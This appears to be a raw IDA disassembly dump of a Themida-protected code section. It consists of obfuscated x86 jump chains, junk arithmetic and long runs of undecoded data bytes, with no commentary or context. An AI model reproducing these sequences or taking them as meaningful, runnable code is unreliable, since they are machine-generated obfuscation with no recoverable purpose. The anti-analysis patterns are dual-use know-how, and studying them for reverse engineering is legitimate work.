; --------------------------------------------------------------------------- loc_56A97A: ; CODE XREF: Themida_:00571418j add edx, ebp sub edx, 6B6D157Bh pop ebp push 7F76h mov [esp], ebx mov ebx, 4DBB7159h inc ebx jmp loc_572350 ; --------------------------------------------------------------------------- dw 0BD55h dd 6F6E0A32h, 7687CD81h, 814D7B87h, 825569CDh, 0F5814D5Ch dd 30DBB5BEh, 515DE901h, 5938428Fh, 3DEA68h, 241C8900h dd 0F10704BBh, 0F2E9515Fh, 0BB000018h, 66B80A2Ch, 0FFF667E9h dd 81E289FFh, 4C2h, 4EA8100h, 87000000h, 47E92414h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56A9EB: ; CODE XREF: Themida_:00562A12j push ebp mov ebp, 4 add esi, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_562732 ; --------------------------------------------------------------------------- dd 4D1E2D5Bh, 7052D31h, 14FB822h, 22072DD8h, 0E3E94FB8h dd 560000A4h, 0B03F8DBEh, 6EEC108h, 0C0FAF681h, 3AE90022h dd 810000A4h, 4C6h, 4EE8100h, 0E9000000h, 0FFFF8849h, 0FF2434FFh dd 68592434h, 128Dh, 54240C89h, 587E959h, 34FF0000h, 2434FF24h dd 51240C8Bh, 0C181E189h, 4, 8704C183h, 515C240Ch, 2D68E189h dd 89000032h, 4BF243Ch, 81000000h, 0DB6EEDC1h, 81F9010Ch dd 0DB6EEDE9h, 0BF575F0Ch, 4, 335FF901h, 92E9240Ch, 87FFFFD0h dd 815C243Ch, 0B50754C1h, 0D4F18163h, 2927BAD6h, 0EB8159CBh dd 0BAD031Eh, 0BD55C301h, 0BAD031Eh, 0FFEF92E9h, 240433FFh dd 33240431h, 248B2404h, 0B3E95624h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56AADB: ; CODE XREF: Themida_:00572F7Dj add cl, 5Ch mov dh, cl pop ecx jmp loc_561E94 ; --------------------------------------------------------------------------- loc_56AAE6: ; CODE XREF: Themida_:0056492Ej push esi push ebx jmp loc_56E196 ; --------------------------------------------------------------------------- loc_56AAED: ; CODE XREF: Themida_:0056FE3Cj push 3E1Dh mov [esp], ecx jmp loc_5666E2 ; --------------------------------------------------------------------------- dw 0BF57h dd 6BC6479Ch, 9FE9F787h, 0B8FFFFE0h, 40CA75EFh, 5B77E9h dd 0F1814900h, 675C68BFh, 0D196E953h, 0E089FFFFh, 405h dd 4E88300h, 8B240487h, 4892424h, 3DE95124h, 81FFFF7Ah dd 0FD428DEEh, 412D5B2Ch, 12CA649h, 494105F0h, 565E2CA6h dd 2BEh, 5D5E2D00h, 0F02937B9h, 0B95D5E05h, 24348B37h dd 4C481h, 4330000h, 0CA69E924h, 6C81FFFFh, 5FB90424h dd 6C012D30h, 0B9510424h, 2D305FB9h, 8244C01h, 48F5D59h dd 13A46824h, 14890000h, 0FE89E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AB96: ; CODE XREF: Themida_:0056E4BCj add edx, edi sub edx, 19D12A08h sub edx, 4771591Ch jmp loc_5623CC ; --------------------------------------------------------------------------- db 81h, 0CAh, 21h dd 0E913415Fh, 9D13h, 8108E9C1h, 904629F1h, 0F1814930h dd 0CF49F3DDh, 127BEA81h, 0B1E90145h db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56ABCF: ; CODE XREF: Themida_:00576A2Fj sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 611C2069h neg ebx jmp loc_56DEBD ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 0BC3805Ch, 0FFFCE7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56ABF9: ; CODE XREF: Themida_:00573161j sub ebp, edx pop edx pop ecx jmp loc_565F67 ; --------------------------------------------------------------------------- dw 0EEC1h dd 81D6F705h, 46CA8CEEh, 8BF0019Ch, 0C4832434h, 0E9515304h dd 2B37h, 42Dh, 24048700h, 2434895Ch, 0BF57E689h, 4, 0FFAC33E9h dd 2BC381FFh, 126BF5Ah, 2BEB81EBh, 8B26BF5Ah, 0C481242Ch dd 4, 6963E9h, 4C58100h, 81000000h, 4EDh, 8705E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AC62: ; CODE XREF: Themida_:00564B38j pop ebx push esi mov esi, 4 sub edx, esi pop esi xchg edx, [esp] pop esp jmp loc_56C80D ; --------------------------------------------------------------------------- loc_56AC75: ; CODE XREF: Themida_:00575C92j push dword ptr [esp] jmp loc_5739D0 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF63BDE9h, 0F82966FFh, 1B862D66h, 6305665Fh, 0BC2D6602h dd 0D801661Ah, 3EA3E9h, 2643B800h, 0E8C1081Eh, 0CE5DE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56ACAA: ; CODE XREF: Themida_:0056DF4Aj mov edx, [esp] jmp loc_561723 ; --------------------------------------------------------------------------- dw 1433h dd 24143124h, 0FFAD35E9h, 5FFA89FFh, 0FFF8F3E9h, 2434FFFFh dd 5724048Bh, 0C7815F54h, 4, 4C781h, 3C870000h, 76685C24h dd 89000037h, 7668243Ch, 83000051h, 248904ECh, 24048124h dd 4, 5724048Fh, 4BFh, 246C8100h, 67280904h, 2B1E939h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56AD0E: ; CODE XREF: Themida_:0056B8EEj add eax, 57DF169Dh pop ebp sub eax, 2A1F136Dh push 61B8h jmp loc_576ADC ; --------------------------------------------------------------------------- db 5Bh dd 0BD55565Ah, 10667188h, 0D666C581h, 0EE892A26h, 7816E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AD3A: ; CODE XREF: Themida_:005671FBj mov edi, [esp] add esp, 4 jmp loc_56F72D ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 4DE90000h, 66FFFFD6h, 88E88850h, 66C288D5h dd 0E9D18858h, 98B8h, 4C681h, 34870000h, 48F5C24h, 24248B24h dd 24040966h, 5E75E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_56AD7E: ; CODE XREF: Themida_:00566B34j dec edi shl edi, 6 xor edi, 4F2107EBh jmp loc_5643B9 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF62ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_56AD95: ; CODE XREF: Themida_:0056D635j pop edi push esi mov esi, 59B16261h and esi, 6BEF0D46h xchg edx, esi push esi mov esi, 0FFFFFFFFh sub edx, esi pop esi xchg edx, esi dec esi jmp loc_563CC0 ; --------------------------------------------------------------------------- db 56h, 54h, 5Eh dd 6827BF57h, 0EF816601h, 66016823h, 0E95FFE01h, 0FFFFFF98h dd 0BF57h, 0AAE90000h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56ADD7: ; CODE XREF: Themida_:005643D6j pop edx sub eax, 181A5DE8h push dword ptr [esp] mov ebp, [esp] add esp, 4 push 6679h mov [esp], ebp mov ebp, esp push edx jmp loc_571E83 ; --------------------------------------------------------------------------- dw 8959h dd 2434FFDEh, 4C4835Bh, 4247431h, 2434FF5Eh, 4C48158h dd 68000000h, 2AB8h, 0B9240C89h, 61996A20h, 85FCE9h, 4C28100h dd 81000000h, 2C2h, 0A256E900h, 0BF570000h, 42F72E1Bh dd 704FF781h, 24E970A7h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56AE43: ; CODE XREF: Themida_:0056EBA7j push 3DE2h jmp loc_573ACE ; --------------------------------------------------------------------------- loc_56AE4D: ; CODE XREF: Themida_:0057013Aj mov [esp], ecx add dword ptr [esp], 0FE564D4h pop eax sub eax, 0FE564D4h jmp loc_56AE99 ; --------------------------------------------------------------------------- loc_56AE62: ; CODE XREF: Themida_:005700E6j add esi, ebp pop ebp shr esi, 2 jmp loc_565D3A ; --------------------------------------------------------------------------- loc_56AE6D: ; CODE XREF: Themida_:00569CF1j mov ecx, [esp] add esp, 4 jmp loc_5748AA ; --------------------------------------------------------------------------- db 0B8h dd 14975295h, 0E906E8C1h, 0E46h ; --------------------------------------------------------------------------- loc_56AE88: ; CODE XREF: Themida_:00567CAFj push eax push esi mov esi, 74393420h mov eax, 0F8A50FA4h jmp loc_576992 ; --------------------------------------------------------------------------- loc_56AE99: ; CODE XREF: Themida_:0056AE5Dj push eax pop edx pop eax mov ecx, [esp] add esp, 4 and ecx, edx jmp loc_563AA2 ; --------------------------------------------------------------------------- dd 8001C680h, 0C380A7F6h, 92C38040h, 0FF7133E9h db 0FFh ; --------------------------------------------------------------------------- loc_56AEBD: ; CODE XREF: Themida_:0056FA4Cj and eax, ebx mov ebx, [esp] push ebp push esp jmp loc_574597 ; --------------------------------------------------------------------------- db 0BFh, 1Dh, 5Ah dd 50E97E9Ah db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_56AED3: ; CODE XREF: Themida_:005620F3j push 0 jmp loc_575A27 ; --------------------------------------------------------------------------- loc_56AEDD: ; CODE XREF: Themida_:00574262j push 0 sub dword ptr [esp], 0DD76901h sub dword ptr [esp], 6BEA75D1h jmp loc_568D61 ; --------------------------------------------------------------------------- loc_56AEF5: ; CODE XREF: Themida_:005617F7j pop cx jmp loc_571FFF ; --------------------------------------------------------------------------- dd 23F6ED81h, 0C5012031h, 23F6C581h, 81582031h, 2C5h, 74FF5500h dd 8F5D0424h, 0F6E92404h, 89000067h, 4BE2434h, 81000000h dd 96DF3C1h, 0AF3BE96Ah, 0EE010000h, 0E9242C8Bh, 6B92h dd 8105EDC1h, 420EF9EDh, 27F58120h, 1B216A8h, 875E5DEAh dd 13E92414h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56AF57: ; CODE XREF: Themida_:0057176Bj mov edx, esp jmp loc_56CA13 ; --------------------------------------------------------------------------- loc_56AF5E: ; CODE XREF: Themida_:00566784j add esp, 4 and ecx, 6598698Ch not ecx not ecx push ebp jmp loc_5669A7 ; --------------------------------------------------------------------------- dd 8244429h, 5624048Bh, 0C681E689h, 4, 0E904C683h, 1B5Ch ; --------------------------------------------------------------------------- loc_56AF8C: ; CODE XREF: Themida_:005685BAj mov ebp, [esp] jmp loc_570604 ; --------------------------------------------------------------------------- dd 4EC81h, 0B3E90000h, 0BBFFFF7Eh, 1, 0FF6137E9h, 4BBFFh dd 5C010000h, 6CE90424h, 310000B7h, 73E92404h, 1FFFFE5h dd 8104247Ch, 9042444h, 5F396728h, 5ABB535Fh, 0E975344Ah dd 0FFFF9586h ; --------------------------------------------------------------------------- loc_56AFD8: ; CODE XREF: Themida_:005662C1j xchg ecx, [esp] pop eax jmp loc_566797 ; --------------------------------------------------------------------------- db 50h, 57h, 68h dd 57172C8Ah, 8CEF815Fh, 81165E60h, 65101EF7h, 19F78123h dd 0E901CBAAh, 0AA94h, 8881E95Eh, 0F531FFFFh, 5DEE015Eh dd 81243C8Bh, 4C4h, 24348700h, 2404315Ch, 6020E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B022: ; CODE XREF: Themida_:005678B0j pop edi jmp loc_571808 ; --------------------------------------------------------------------------- dd 99AF781h, 0F78172ABh, 53C46ED5h, 56E9FE89h, 57000095h dd 0A6A3E9h, 0C3805C00h, 21B050C4h, 0D8F6C0FEh, 4F34C0FEh dd 34FFC300h, 0E1E95824h, 0BD000048h, 4345B81h, 0CBA48368h dd 0B03AE9FBh, 5058FFFFh, 8853D888h, 4501E9C7h, 0BA520000h dd 16FB0086h, 8245401h, 247C015Ah, 246C8104h, 0FB008604h dd 246C8116h, 0C868AD04h, 243C8B18h, 4C481h, 505B0000h dd 4B8h, 8FEB8100h, 1717369h, 8FC381C3h, 58717369h, 7EA3E951h dd 0C481FFFFh, 4, 34DEE9h, 0A5E95600h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B0CB: ; CODE XREF: Themida_:005767D6j shl cl, 8 add cl, 68h push ecx mov cl, 3Dh and cl, 3Eh shl cl, 7 jmp loc_56C2D3 ; --------------------------------------------------------------------------- loc_56B0DF: ; CODE XREF: Themida_:00563A9Dj add esp, 4 add esp, 4 jmp loc_563E30 ; --------------------------------------------------------------------------- dd 8904EC83h, 17E92434h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B0FB: ; CODE XREF: Themida_:0056587Dj add ebx, 4 sub ebx, 4 jmp loc_563994 ; --------------------------------------------------------------------------- dd 4EC835Ch, 0B9240C89h, 420D5242h, 4355F181h, 60E9378Fh dd 810000ABh, 9E48AEE7h, 18BE5634h, 81271612h, 830C6CC6h dd 5EF721FBh, 46FEC781h, 0E7C15010h, 0EFE94705h, 0F7FFFF82h dd 0C68146D6h, 47139F19h, 505EF589h, 415E85B8h, 14F75048h dd 0EC835824h, 243C8904h, 4B4A62BFh, 5FF8313Ch, 8D70E991h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B172: ; CODE XREF: Themida_:00564120j mov ebp, esp add ebp, 4 push eax jmp loc_569CD0 ; --------------------------------------------------------------------------- dd 0FF5EBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B185: ; CODE XREF: Themida_:0057189Cj pop edx pop dword ptr [esp] push 18E8h jmp loc_562246 ; --------------------------------------------------------------------------- db 5Bh dd 348BF301h, 4C48124h, 8B000000h, 84E92404h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B1A7: ; CODE XREF: Themida_:00565C45j mov edx, [esp] add esp, 4 pop ebx jmp loc_57215B ; --------------------------------------------------------------------------- dw 0E0D1h dd 0CC0DE42Dh, 0DA76E9B0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B1C2: ; CODE XREF: Themida_:00572D38j add esp, 4 push eax push 39E96E3Fh pop eax mov dword ptr [edi+20h], 3E0540D7h push ebx mov ebx, 20h add ebx, edi push eax jmp loc_567229 ; --------------------------------------------------------------------------- loc_56B1E4: ; CODE XREF: Themida_:0056117Bj add ebp, edi pop edi jmp loc_573C9E ; --------------------------------------------------------------------------- dd 0BEB551ACh, 1741E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B1F6: ; CODE XREF: Themida_:00572C55j xchg ebx, [esp] pop esp push 5BC9h mov [esp], ebx sub esp, 4 jmp loc_56636D ; --------------------------------------------------------------------------- dw 4040h dd 3506E8C1h, 33C0A994h, 0FF8ED3E9h, 685854FFh, 1952h dd 0BD242C89h, 4F420CF0h, 0CECED81h, 18E94F42h, 81000069h dd 69438BEBh, 529BE972h, 0C6810000h, 4, 4C681h, 34870000h dd 0FE295C24h, 5BBC681h, 34FF5F02h, 243C8B24h, 8304C483h dd 685504C4h, 3A471A62h, 0E92434FFh, 1C9Dh, 9B1B1DBEh dd 0E2EA8162h, 0E959925Ah, 0FFFFEFDFh, 4240483h, 0E189515Dh dd 4C181h, 0E9830000h, 74FF5104h, 8F590424h, 0C6E92404h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B29F: ; CODE XREF: Themida_:0056E8ABj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_564FDA ; --------------------------------------------------------------------------- loc_56B2DA: ; CODE XREF: Themida_:005648DBj add ebp, 55A60966h jmp loc_565503 ; --------------------------------------------------------------------------- loc_56B2E5: ; CODE XREF: Themida_:00573CA7j add ecx, 10386358h add ecx, 4D143FE9h jmp loc_56F3E8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 51F068h, 24148900h, 0FFD498E9h, 0EC815BFFh, 4, 57243489h dd 0CA6D6168h, 243C8B34h, 0E904C483h, 0FFFFFD04h, 0E7E9505Bh dd 52FFFFECh, 8052B450h, 0DCF6DFE4h, 0E972F480h, 14D9h dd 2B8h, 0FFC10100h, 83582434h, 7CE904C4h, 83FFFF7Dh, 148704EAh dd 5CFBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B35A: ; CODE XREF: Themida_:0056EB35j add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx xchg eax, [esp] jmp loc_56E745 ; --------------------------------------------------------------------------- dd 0B1240C89h, 88B753C1h, 28EDC180h, 0C267E9F9h, 405FFFFh dd 5000000h, 4, 5C240487h, 3302C183h, 3E9240Ch db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B39B: ; CODE XREF: Themida_:0056115Bj xor esi, 3B2E1BB7h not esi xor esi, 0EF9AD058h push ebx push esi pop ebx mov edx, ebx pop ebx pop esi push esi jmp loc_569876 ; --------------------------------------------------------------------------- loc_56B3B6: ; CODE XREF: Themida_:005637CBj mov edi, [esp] add esp, 4 jmp loc_574C97 ; --------------------------------------------------------------------------- loc_56B3C1: ; CODE XREF: Themida_:005753DFj add esp, 4 push 6E7Ah mov [esp], esi mov esi, 2 add edx, esi mov esi, [esp] add esp, 4 jmp loc_5729B0 ; --------------------------------------------------------------------------- loc_56B3DE: ; CODE XREF: Themida_:00574B5Ej pop ebp xor ebp, 68451DDBh pop esi shr ebp, 3 jmp loc_5698B7 ; --------------------------------------------------------------------------- dw 0EE81h dd 0F2FB129Fh, 815EF589h, 0C6042444h, 8179494Fh, 0D9042444h dd 1170A77h, 8104246Ch, 0D904246Ch, 81170A77h, 0C604246Ch dd 8B79494Fh, 8950242Ch, 8E1AE9E0h, 815AFFFFh, 633A49EBh dd 2C815308h, 0FC4DCE24h, 0C7815F4Ch, 4CFC4DCEh, 8B2434FFh dd 0C483241Ch, 4C48304h, 0AB63E9h, 246C8100h, 0F30CF204h dd 24540118h, 24448104h, 0F30CF204h, 48F5A18h, 0B8CCE924h dd 0C483FFFFh, 4A14E904h, 0E9C10000h, 81D1F706h, 0C91C02C9h dd 0E9D9F76Ch, 0FFFFDF4Dh, 0F9EF8147h, 8980561Bh, 1DE95FFDh dd 8900006Dh, 19E9240Ch db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B49B: ; CODE XREF: Themida_:0056540Ej add ebp, edi pop edi xchg ebp, [esp] pop esp push esi mov esi, 2 jmp loc_565AEE ; --------------------------------------------------------------------------- db 0ADh, 81h, 0ECh dd 4, 19F4E9h, 0EAE95600h, 0BD000077h, 7B174B4Eh, 1B77B951h dd 0E9537A49h, 3DBAh ; --------------------------------------------------------------------------- loc_56B4D0: ; CODE XREF: Themida_:00575B30j push esi mov esi, 6B4E3483h and esi, 2D116C1Ch jmp loc_56FC1C ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 33000000h, 3C31243Ch, 243C3324h, 0FF24248Bh, 34FF2434h dd 24148B24h, 0E9E38953h, 46B7h, 835DEB01h, 0FF5304EBh dd 0FF042474h, 815B2434h, 4C4h, 24048F00h, 8924248Bh, 0E9542434h dd 0FFFFE44Ah, 23F18141h, 89D4672Ch, 240C8BCEh, 104C483h dd 24348BF7h, 81E78957h, 4C7h, 4C78100h, 87000000h, 685C243Ch dd 184Bh, 0E9243C89h, 0FFFFF26Eh ; --------------------------------------------------------------------------- loc_56B55C: ; CODE XREF: Themida_:0056DBFFj add esi, 2 xchg esi, [esp] pop esp jmp loc_572E82 ; --------------------------------------------------------------------------- dd 83DEF75Eh, 0EC81FFEEh, 4, 0B8240489h, 3CFC1150h, 72D97A05h dd 0F6B951DDh, 293F6407h, 8010E9CEh, 81530000h, 4ECh, 24148900h dd 0FFAD7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B59D: ; CODE XREF: Themida_:00575A63j push 193Ah jmp loc_571097 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 1C8B5100h, 4C48324h, 138CE9h, 0F6814E00h, 0D5C625D1h dd 565EF301h, 4318E9h, 0E9C32900h, 5969h, 2BC0685Ah, 0D1E90000h dd 57FFFF62h, 4BFh, 3CC28100h, 2920222Ah, 3CEA81FAh, 5F20222Ah dd 0FFAD46E9h, 6E9C0FFh, 66D9C180h, 2414F651h, 0C1FE5966h dd 66EDB050h, 79B75352h, 0FE0037B6h, 83241C8Bh, 76E904C4h dd 5B000028h, 0FF946DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B621: ; CODE XREF: Themida_:0056EBC6j push 689813AEh jmp loc_563013 ; --------------------------------------------------------------------------- loc_56B62B: ; CODE XREF: Themida_:005737AAj push dword ptr [esp+4] pop edx pop dword ptr [esp] pop dword ptr [edi+24h] loc_56B636: ; CODE XREF: Themida_:0056A6E9j push edi mov edi, ebx push ebx mov ebx, edi push esi push ebx jmp loc_575144 ; --------------------------------------------------------------------------- loc_56B643: ; CODE XREF: Themida_:0056C104j push 4700h mov [esp], ebx mov ebx, 6A822782h jmp loc_5769BD ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 53h dd 0FFC764E9h, 240C89FFh, 8904EC83h, 34FF2404h, 978FE924h dd 0C7290000h, 0FF988BE9h, 815D58FFh, 2C2h, 24143300h dd 33241431h, 3BE92414h, 52000062h, 8EE9E289h, 28FFFFF7h dd 240C8BE8h, 2C04C483h, 0E9E80095h, 0A3E0h ; --------------------------------------------------------------------------- loc_56B6A4: ; CODE XREF: Themida_:005654D1j add esi, 4 push edx jmp loc_56E91B ; --------------------------------------------------------------------------- dd 0B202AD2Dh, 714EE979h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B6BA: ; CODE XREF: Themida_:00570590j pop esi jmp loc_56C15A ; --------------------------------------------------------------------------- dd 13E5B951h, 0C8294B3Ah, 0E9240C8Bh, 0FFFF62F1h ; --------------------------------------------------------------------------- loc_56B6D0: ; CODE XREF: Themida_:00563BFDj pop esi shr eax, 12h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx xor ecx, esi xor esi, ecx xor ecx, esi push 5F98h mov [esp], esi not dword ptr [esp] pop esi push esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_567376 ; --------------------------------------------------------------------------- dd 0E53B951h, 0E9816CDBh, 699470DAh, 43B6E981h, 0E9C150EAh dd 0BDC18102h, 90CB4EEh, 7009E9CFh, 0FA010000h, 27C2815Fh dd 816EDD26h, 3D521BC2h, 5900E919h, 1433FFFFh, 24248B24h dd 0FF77DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_56B74D: ; CODE XREF: Themida_:005754A6j xor [esp], ebp xor ebp, [esp] jmp loc_571D2F ; --------------------------------------------------------------------------- loc_56B758: ; CODE XREF: Themida_:0056C69Cj add eax, edx pop edx xor ebx, eax push 0AC9h mov [esp], eax jmp loc_561042 ; --------------------------------------------------------------------------- loc_56B76A: ; CODE XREF: Themida_:00566AFDj pop edi shr edx, 1 shl edx, 4 jmp loc_56C08A ; --------------------------------------------------------------------------- db 68h, 18h, 0Ch dd 0C890000h, 3307B924h, 3FE94D15h, 80FFFFCDh, 0C38083EBh dd 4845E977h, 53AC0000h, 0C3815B54h, 4, 5304EB83h, 42474FFh dd 24048F5Bh, 8924248Bh, 0B0502414h, 302DB279h, 0F28058C2h dd 53E2D026h, 0C1E9FCB7h, 31FFFF9Bh, 1C33241Ch, 24248B24h dd 0E9C39D61h, 0FFFF586Eh, 3A7BC281h, 1C8B37E7h, 4C48324h dd 246C281h, 0C201777Fh, 246EA81h, 0D2E9777Fh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B7F3: ; CODE XREF: Themida_:00570C55j sub ebx, 4 jmp loc_568444 ; --------------------------------------------------------------------------- dw 0F828h dd 1C8B5104h, 3EE95324h, 0F600004Bh, 80D986D3h, 0CB2807E9h dd 592434FFh, 4C481h, 0EB800000h, 0B45052F4h, 7E16E9EDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B82A: ; CODE XREF: Themida_:00564FABj mov esi, 49A562C0h mov ebx, esi pop esi xor ebx, 22C877BBh jmp loc_56C66D ; --------------------------------------------------------------------------- db 0D1h, 0E3h, 81h dd 888EE6F3h, 689FE9A7h, 15A0000h, 20B850CBh, 257CD31Fh dd 8E44D65h, 31452548h, 43E930B0h, 2900008Eh, 0FFE0E9D3h dd 0E9F7FFFFh, 72A468h, 240C8900h, 8626E9h, 0CFE9AD00h dd 4D00002Ah, 4557E581h, 0C5817745h, 28B95C45h, 452BED81h dd 8155254Ah, 75DF2434h, 815A1990h, 9075DFF2h, 242C8B19h dd 4C481h, 0EA810000h, 0CF36AB8h, 0E907EAC1h, 84B1h, 0C681DEF7h dd 7CB97F7Dh, 0FFE309E9h, 241C87FFh, 0E9EB015Ch, 0FFFF654Fh dd 7CE9D689h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B8D7: ; CODE XREF: Themida_:005766CEj push 6297h mov [esp], ecx mov ecx, esp jmp loc_56CE09 ; --------------------------------------------------------------------------- loc_56B8E6: ; CODE XREF: Themida_:00568411j pop eax sub eax, 57DF169Dh sub eax, ebp jmp loc_56AD0E ; --------------------------------------------------------------------------- aAaYfs00FSif db '¶ €ÆYfS³00Þf[鉔',0 db 0 ; --------------------------------------------------------------------------- loc_56B905: ; CODE XREF: Themida_:0056FF8Fj xchg ebp, [esp] mov esp, [esp] xor ebp, 9B42F173h and eax, ebp push dword ptr [esp] mov ebp, [esp] push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xor ebx, [esp] jmp loc_56BBD0 ; --------------------------------------------------------------------------- dd 8904EC83h, 30B82404h, 0D0B5134h, 204B486Ch, 0FF86D6E9h dd 5BDD00FFh, 673468h, 24148900h, 687FB050h, 5AD4h, 88240C89h dd 0CF8853C1h, 0FFC036E9h, 0DC4935FFh, 0C101F463h, 8324048Bh dd 0BB5304C4h, 494957B5h, 0C381D3F7h, 494957BAh, 1C8BD901h dd 4C48324h, 0E9240C87h, 50C6h, 0E0C1405Bh, 0DD8F703h dd 463173A1h, 0D4EA525h, 0DC890575h, 0C501DE2Eh, 8BE98958h dd 0C481242Ch, 4, 2493BB53h, 0D9095CEBh, 1DB8E95Bh, 0B4BA0000h dd 4A41C616h, 8A40E942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B9D6: ; CODE XREF: Themida_:00574839j pop ecx push 5239h mov [esp], ebx push 2 pop ebx add esi, 1A971D9Ch add esi, ebx sub esi, 1A971D9Ch pop ebx jmp loc_5620DE ; --------------------------------------------------------------------------- db 45h, 87h, 0DDh dd 24348753h, 3487D6F7h, 0DD875B24h, 5D80E945h, 50660000h dd 562CE99Ch, 0C181FFFFh, 4, 8704C183h, 875C240Ch, 61E9242Ch dd 80000001h, 89E993F3h, 53000065h, 11427168h, 120E907h dd 0F1290000h, 26FCE981h, 348B6132h, 4C48124h, 1000000h dd 11C181F9h, 5F72F00Dh, 2B850h, 0C1010000h, 7DA4E958h dd 0EC83FFFFh, 0B484E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BA6E: ; CODE XREF: Themida_:00568B60j pop ebp push ecx mov ecx, 1D6A1FACh jmp loc_56ED2A ; --------------------------------------------------------------------------- dw 0B151h dd 28B9B080h, 2434FFC8h, 0E2895259h, 4C281h, 0C2810000h dd 4, 8B241487h, 61E92424h, 5DFFFFB7h, 34FFF801h, 0A860E924h dd 0D989FFFFh, 0FFAE47E9h db 0FFh ; --------------------------------------------------------------------------- loc_56BAB1: ; CODE XREF: Themida_:00571027j mov edi, 5773009Ch xor edi, 42825EE2h mov edx, 47B653EFh not edx shl edx, 2 push edx not dword ptr [esp] mov edx, [esp] add esp, 4 push 5856h mov [esp], esi jmp loc_56A803 ; --------------------------------------------------------------------------- dd 2A3C68h, 24348900h, 2E0608BEh, 0E9F02916h, 0FFFFE979h ; --------------------------------------------------------------------------- loc_56BAF4: ; CODE XREF: Themida_:00571E62j push dword ptr [esp] jmp loc_56D12F ; --------------------------------------------------------------------------- loc_56BAFC: ; CODE XREF: Themida_:0056D8BAj pop edi jmp loc_56C4B7 ; --------------------------------------------------------------------------- loc_56BB02: ; CODE XREF: Themida_:0056F84Aj push dword ptr [esp] pop esi push 607h mov [esp], ebx push esp jmp loc_56C6AA ; --------------------------------------------------------------------------- dd 0FDAA042Dh, 0BF08E9A7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BB1E: ; CODE XREF: Themida_:0056CDFBj push 4 pop edx add ecx, edx jmp loc_561397 ; --------------------------------------------------------------------------- loc_56BB2B: ; CODE XREF: Themida_:00572CD4j mov esp, [esp] jmp loc_56FCEE ; --------------------------------------------------------------------------- db 5Eh dd 148BD029h, 4C48124h, 35000000h, 85F621E6h, 3158C689h dd 9798E9F2h, 1C890000h, 2474FF24h, 48F5B04h, 0AD4E924h dd 15B0000h, 5B04245Ch, 0E92434FFh, 0FFFFD2F7h, 83243C8Bh dd 0C8B04C4h, 0E2895224h, 4C281h, 0C2830000h, 24143304h dd 0E9241431h, 979Dh, 2124248Bh, 0E99C2404h, 48Eh, 34FFD001h dd 0C4835A24h, 64EBE904h, 148BFFFFh, 0E6895624h, 4C681h dd 0C6830000h, 24348704h, 0A678E95Ch, 0FF560000h, 5E042474h dd 5C24048Fh, 0E91C6F09h, 346Fh ; --------------------------------------------------------------------------- loc_56BBD0: ; CODE XREF: Themida_:0056B933j xor [esp], ebx jmp loc_561A7E ; --------------------------------------------------------------------------- dd 8B66D800h, 4AE9241Ch, 0FFFFFF69h, 669D1C77h, 2414D359h dd 5450E99Ch, 1489FFFFh, 3C506824h, 8F540000h, 0FAE92404h dd 0B80000ABh, 4, 8358C701h, 0FF5704C7h, 0E9042474h, 8EA5h ; --------------------------------------------------------------------------- loc_56BC18: ; CODE XREF: Themida_:0056123Aj pop eax jmp loc_57450B ; --------------------------------------------------------------------------- 